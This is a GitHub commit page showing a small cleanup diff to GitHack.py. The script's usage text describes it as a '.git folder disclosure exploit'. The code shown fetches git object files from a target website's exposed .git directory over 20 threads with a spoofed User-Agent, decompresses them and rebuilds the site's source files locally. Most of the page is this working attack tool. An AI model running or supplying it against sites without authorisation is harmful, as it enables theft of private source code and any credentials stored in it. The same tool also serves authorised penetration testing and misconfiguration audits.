Skip to content

Commit ed15f2d

Browse files
committed
small fix
1 parent dad9d5c commit ed15f2d

File tree

1 file changed

+24
-20
lines changed

1 file changed

+24
-20
lines changed

GitHack.py

Lines changed: 24 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,6 @@
1515

1616
if len(sys.argv) == 1:
1717
msg = """
18-
1918
A `.git` folder disclosure exploit. By LiJieJie
2019
2120
Usage: GitHack.py http://www.target.com/.git/
@@ -42,26 +41,30 @@ def __init__(self):
4241
self.queue.put((entry["sha1"].strip(), entry["name"].strip()))
4342
try:
4443
print entry['name']
45-
except:
44+
except Exception as e:
4645
pass
4746
self.lock = threading.Lock()
4847
self.thread_count = 20
4948
self.STOP_ME = False
5049

51-
def _request_data(self, url):
50+
@staticmethod
51+
def _request_data(url):
5252
request = urllib2.Request(url, None, {'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)'})
5353
return urllib2.urlopen(request).read()
5454

5555
def _print(self, msg):
5656
self.lock.acquire()
57-
print msg
57+
try:
58+
print msg
59+
except Exception as e:
60+
pass
5861
self.lock.release()
5962

6063
def get_back_file(self):
6164
while not self.STOP_ME:
6265
try:
6366
sha1, file_name = self.queue.get(timeout=0.5)
64-
except:
67+
except Exception as e:
6568
break
6669
for i in range(3):
6770
try:
@@ -71,20 +74,20 @@ def get_back_file(self):
7174
data = zlib.decompress(data)
7275
except:
7376
self._print('[Error] Fail to decompress %s' % file_name)
74-
data = re.sub('blob \d+\00', '', data)
75-
target_dir = os.path.join(self.domain, os.path.dirname(file_name) )
77+
data = re.sub(r'blob \d+\00', '', data)
78+
target_dir = os.path.join(self.domain, os.path.dirname(file_name))
7679
if target_dir and not os.path.exists(target_dir):
7780
os.makedirs(target_dir)
78-
with open( os.path.join(self.domain, file_name) , 'wb') as f:
81+
with open(os.path.join(self.domain, file_name), 'wb') as f:
7982
f.write(data)
8083
self._print('[OK] %s' % file_name)
8184
break
8285
except urllib2.HTTPError, e:
83-
if str(e).find('HTTP Error 404') >=0:
86+
if str(e).find('HTTP Error 404') >= 0:
8487
self._print('[File not found] %s' % file_name)
8588
break
86-
except Exception, e:
87-
self._print('[Error] %s' % e)
89+
except Exception as e:
90+
self._print('[Error] %s' % str(e))
8891
self.exit_thread()
8992

9093
def exit_thread(self):
@@ -98,12 +101,13 @@ def scan(self):
98101
t.start()
99102

100103

101-
s = Scanner()
102-
s.scan()
103-
try:
104-
while s.thread_count > 0:
105-
time.sleep(0.1)
106-
except KeyboardInterrupt, e:
107-
s.STOP_ME = True
108-
time.sleep(1.0)
109-
print 'User Aborted.'
104+
if __name__ == '__main__':
105+
s = Scanner()
106+
s.scan()
107+
try:
108+
while s.thread_count > 0:
109+
time.sleep(0.1)
110+
except KeyboardInterrupt, e:
111+
s.STOP_ME = True
112+
time.sleep(1.0)
113+
print 'User Aborted.'

0 commit comments

Comments
 (0)